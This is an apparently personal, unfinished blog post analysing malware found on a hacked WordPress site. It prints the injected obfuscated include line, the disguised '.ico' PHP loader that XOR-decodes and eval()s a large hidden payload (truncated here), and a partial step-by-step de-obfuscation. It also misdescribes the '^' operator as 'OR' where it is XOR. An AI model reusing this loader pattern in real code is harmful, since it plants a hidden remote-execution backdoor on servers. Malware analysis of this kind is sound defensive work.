Hello there!
Before I learned to code, I made a lot of websites using WordPress. A few of them are still running on a seperate webserver, because I was too lazy to migrate them all to my new server. π
Recently, I visited one of my old WordPress sites which I hadn't touched for years. And, surprise!, I just got a blank page. I was curious. The server still works, only the WordPress part returned blank pages - no errors, just a blank page. I logged into the server via FTP. All WordPress stuff was still there - all files, uploads, etc. The MySQL database was okay too. All content was still there. So what happened?
First of all, I took a look at the index.php
file. And what did I see? After the opening <?php
tag there were thousends of empty new lines... Then, finally, there was some code. It was the normal WordPress index.php
code, but with 3 additional lines of code above them:
/*dac9c*/
@include "/\150t\144o\143s\057w\160-\143o\156t\145n\164/\160l\165g\151n\163/\165k\055c\157o\153i\145-\143o\156s\145n\164/\0566\1410\0678\0610\146.\151c\157";
/*dac9c*/
I found similar code in the wp_config.php
and the wp_settings.php
file.
Ouch, seems like we found something unusual. Something bad. Probably a virus.
Okay, but what does this code do?
After removing the first line and the last line (those are only comments) we are left with only one line of PHP code. The @include
statement includes/imports another file in the current PHP script. The path to the file seems to be encoded. If we decode the string (e.g. with the rawurldecode()
function in PHP) we get the following:
/htdocs/wp-content/plugins/uk-cookie-consent/.6a07810f.ico
This location was different in all three files (index.php
, wp_config.php
and wp_settings.php
).
Okay, So let's view this .6a07810f.ico
file! The filename starts with a dot (.) so it's hidden in most file explorers. But no problem, we just have to change some settings in our file explorer and it becomes visible. The file looks like the following:
<?php
$_efwo02 = basename/*acv*/(/*q9*/trim/*ncz*/(/*u32*/preg_replace/*2bz*/(/*8*/rawurldecode/*74*/(/*shaw*/"%2F%5C%28.%2A%24%2F"/*62uvm*/)/*l*/, '', __FILE__/*lt*/)/*v*//*lu9a*/)/*r6pne*//*qbwmf*/)/*1d64*/;$_0q14kx6 = "G%02CJ%15VU%04%0D%40%0C%07G%09%17%17%1%07%17%0Bh%19[+ a few thousend more characters]";eval/*ku*/(/*io1nf*/rawurldecode/*d5j1t*/(/*yxio1*/$_0q14kx6/*3a6t*/)/*05u*/ ^ substr/*ilsr4*/(/*25*/str_repeat/*qpa*/(/*c5wv2*/$_efwo02, /*hf*/(/*k*/strlen/*ht*/(/*29t*/$_0q14kx6/*b*/)/*ns*//strlen/*9d0e*/(/*zlq*/$_efwo02/*ayx*/)/*hy7a9*//*s1fj*/)/*bcd*/ + 1/*blsq*/)/*fs4*/, 0, strlen/*0it*/(/*x*/$_0q14kx6/*v*/)/*k*//*i5un*/)/*o*//*tdnwk*/)/*a*/;
We clearly see: this isn't an icon file at all. It's a PHP script.
To understand what it does, first of all we remove all those random comments in there and properly format the code, so we can read it better.
<?php
$_efwo02 = basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__)));
$_0q14kx6 = "G%02CJ%15VU%04%0D%40%0C%07G%09C%17_Z%09%13DC%0EC%129EC8EH%0EN%19H%13ZD%15%13%1B%0Bh%01X%08%0F%40%04%0E%0B%0DGWS%11%10BCLGD%0F%0E%0AF_%18F%00Bh%19[+ a few thousend more characters]";
eval(rawurldecode($_0q14kx6) ^ substr(str_repeat($_efwo02, (strlen($_0q14kx6)/strlen($_efwo02)) + 1), 0, strlen($_0q14kx6)));
Let's take a look at the first line function by function.
rawurldecode("%2F%5C%28.%2A%24%2F")
β simply decodes the given string and becomes"/\(.*$/"
__FILE__
β this is the full path to the current file. In our case "/htdocs/wp-content/plugins/uk-cookie-consent/.6a07810f.ico"
preg_replace('/\(.*$/', '', '/htdocs/wp-content/plugins/uk-cookie-consent/.6a07810f.ico')
β this removes everything after the last opening bracket (
in the file-path string
trim()
β removes all whitespaces at the beginning and ending of the string from before
basename()
β gets the last part (=the filename) of the modified path-string from before
Β After executing this line of code we get the following: $_efwo02 = '.6a07810f.ico';
Okay, so let's take a look at the next line!
$_0q14kx6 = "G%02CJH%13ZD%15%13%1B%0Bh%01X%08%0F%40%04%0E%0B%0DGWS%11%10BCLGD%0F%0E%0AF_%18F%06%40%1D%14%09%0F%18%12%14%01%05V%18%0E%07Y%17%02%14%1D%1B%0Bh%19[+ a few thousend more characters]";
I shortened this line a little bit, the real variable contained more than 100.000 characters.
For now, this line isn't very interesting - let's continue with the last line!
eval(rawurldecode($_0q14kx6) ^ substr(str_repeat($_efwo02, (strlen($_0q14kx6)/strlen($_efwo02)) + 1), 0, strlen($_0q14kx6)));
The first thing we see here: The code calls the eval()
function. This can execute code directly on the server. That's bad.
So, what does it execute?
rawurldecode($_0q14kx6)
β decodes the long variable from the second line [I did this and I got a long nonsens-looking string. I thought: "Maybe it's an image!", so I usedΒ a file-type identifier which claimed to be 100% confident this was a so-called "PrintFox/Pagefox bitmap" file and needed a .bs
extension. IΒ looked it up and found out that PrintFox and Pagefox are publishing programs for the Commodore 64 computer. Seems like I'm on the wrong path here... π]
^
β means "OR"
β‘οΈ This post isn't finished yet... stay tuned!!
Β